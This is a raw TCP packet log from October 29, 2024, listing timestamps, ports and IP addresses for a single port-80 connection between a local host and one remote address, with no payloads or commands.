Oct 29, 2024 18:42:13.301870108 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.301870108 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.301870108 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.302009106 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.302071095 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.302083969 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.302100897 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.302114964 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.302186966 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.302186966 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.342389107 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.342432976 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.342444897 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.342468023 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.342478037 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.342582941 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.342598915 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.342637062 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.342637062 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.342637062 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.342637062 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.342752934 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.342799902 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.342855930 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.342914104 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.342937946 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.342971087 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.342993021 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.343009949 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.343009949 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.343036890 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.343040943 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.343142986 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.343667984 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.343698978 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.343713999 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.343739986 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.343739986 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.343740940 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.343782902 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.343818903 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.344197989 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.344213963 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.344230890 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.344280958 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.344295979 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.344321966 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.344321966 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.344321966 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.344398975 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.387942076 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.388026953 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.388030052 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.388088942 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.421430111 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.421461105 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.421477079 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.421485901 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.421516895 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.421525002 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.421574116 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.421591043 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.421627998 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.421667099 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.421736002 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.421736956 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.421753883 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.421777964 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.421799898 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.421817064 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.421878099 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.422128916 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.422164917 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.422195911 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.422250986 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.462147951 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.462167025 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.462188959 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.462234974 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.462244987 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.462260962 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.462276936 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.462311029 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.462311029 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.462311029 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.462327957 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.462374926 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.462390900 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.462405920 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.462426901 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.462426901 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.462461948 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.462483883 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.462537050 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.463032961 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.463087082 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.463109970 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.463144064 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.463232994 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.463268042 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.463284969 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.463299990 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.463320971 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.463321924 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.463321924 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.463335037 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.463696957 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.463764906 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.463773966 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.463782072 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.463824987 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.463824987 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.463867903 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.463893890 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.463908911 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.463948011 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.541390896 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.541440964 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.541440964 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.541446924 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.541501999 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.541517973 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.541533947 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.541557074 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.541560888 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.541591883 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.541654110 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.541654110 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.541682005 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.541740894 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.541842937 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.541860104 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.541882038 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.541908026 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.542357922 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.542387962 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.542402029 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.542443991 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.542443991 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.542443991 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.581882000 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.581912994 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.581928968 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.581944942 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.581960917 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.581963062 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.582129955 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.582143068 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.582144976 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.582161903 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.582178116 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.582186937 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.582236052 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.582236052 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.582461119 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.582489967 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.582546949 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.582546949 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.582617044 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.582642078 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.582655907 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.582678080 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.582678080 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.582705021 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.582746029 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.582762003 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.582804918 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.582804918 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.583177090 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.583246946 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.583252907 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.583273888 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.583318949 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.583318949 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.583349943 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.583365917 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.583380938 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.583395958 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.583419085 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.583419085 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.583419085 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.583431005 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.583472013 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.583472013 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.661374092 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.661402941 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.661417961 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.661447048 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.661463976 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.661477089 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.661570072 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.661570072 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.661570072 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.661604881 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.661663055 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.661679029 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.661683083 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.661726952 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.661726952 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.661756039 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.661772013 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.661818027 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.661818027 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.662014961 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.662090063 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.662134886 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.662148952 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.662189960 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.662189960 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.701458931 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.701567888 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.701581955 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.701596022 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.701611042 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.701611996 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.701611996 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.701627970 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.701705933 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.701705933 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.701966047 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.701981068 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.702052116 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.702246904 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.702265024 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.702279091 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.702292919 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.702301025 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.702354908 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.702383995 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.702442884 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.702455997 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.702481985 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.702481985 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.702496052 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.702692986 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.702711105 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.702744007 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.702789068 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.702789068 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.702789068 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.702806950 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.702841997 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.702918053 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.702918053 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.702922106 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.702939987 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.702986956 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.702986956 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.703125000 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.703191042 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.703222036 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.703237057 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.703273058 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.703275919 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.703291893 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.703305960 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.703315973 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.703339100 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.703382969 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.781033993 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.781092882 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.781095982 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.781100035 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.781171083 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.781502962 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.781553984 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.781578064 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.781588078 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.781588078 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.781610966 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.781704903 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.781719923 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.781734943 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.781754971 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.781754971 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.781759977 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.781800985 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.781800985 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.781843901 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.781860113 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.781884909 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.781903982 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.781903982 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.781941891 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.821532011 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.821552992 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.821571112 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.821605921 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.821651936 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.821666956 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.821681023 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.821696997 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.821718931 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.821718931 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.821718931 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.821768045 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.821782112 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.821830034 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.821830034 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.821830034 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.821904898 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.821928978 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.821943998 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.821966887 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.821966887 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.822002888 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.822071075 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.822071075 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.822181940 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.822216034 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.822231054 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.822241068 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.822354078 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.822354078 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.822433949 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.822499037 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.822530031 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.822544098 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.822557926 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.822592974 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.822635889 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.822649956 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.822700024 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.822700024 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.822700024 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.822798014 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.822856903 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.822871923 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.822897911 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.822911024 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.822911024 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.822911024 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.823087931 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.823096037 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.823159933 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.823174953 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.823178053 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.823216915 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:13.823251963 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:13.823251963 CET	49704	80	192.168.2.5	45.88.76.238
